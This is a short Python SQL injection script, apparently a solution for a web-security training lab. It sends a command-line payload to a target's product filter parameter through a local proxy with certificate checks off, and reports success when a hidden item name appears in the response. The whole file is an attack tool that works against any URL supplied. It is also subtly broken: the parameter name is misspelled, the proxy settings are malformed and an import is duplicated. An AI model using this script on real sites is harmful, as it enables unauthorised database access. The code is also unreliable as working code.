sqli.py

import requests
import urllib3 
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http':'//127.0.0.1:8080' , 'https':'127.0.0.1:8080'}

def exploit_sqli(url , payload):
    uri = '/filter?categor='
    r = requests.get(url + uri + payload , verify=False , proxies=proxies)
    if "Cat Grin" in r.text:
        return True
    else:
        return False
        
if __name__ == "__main__":
    try:
        url = sys.argv[1].strip()
        payload = sys.argv[2].strip()

    except IndexError:
        print("[-] Usage : %s <url> <payload>" % sys.argv[0])
        print('[-] Example : %s www.dummy.com "1=1"' % sys.argv[0])
        sys.exit(-1)


    if exploit_sqli(url , payload):
        print("[+] SQL injection is successfull ")
    else :
        print("[-] SQL injection is unsuccessfull" )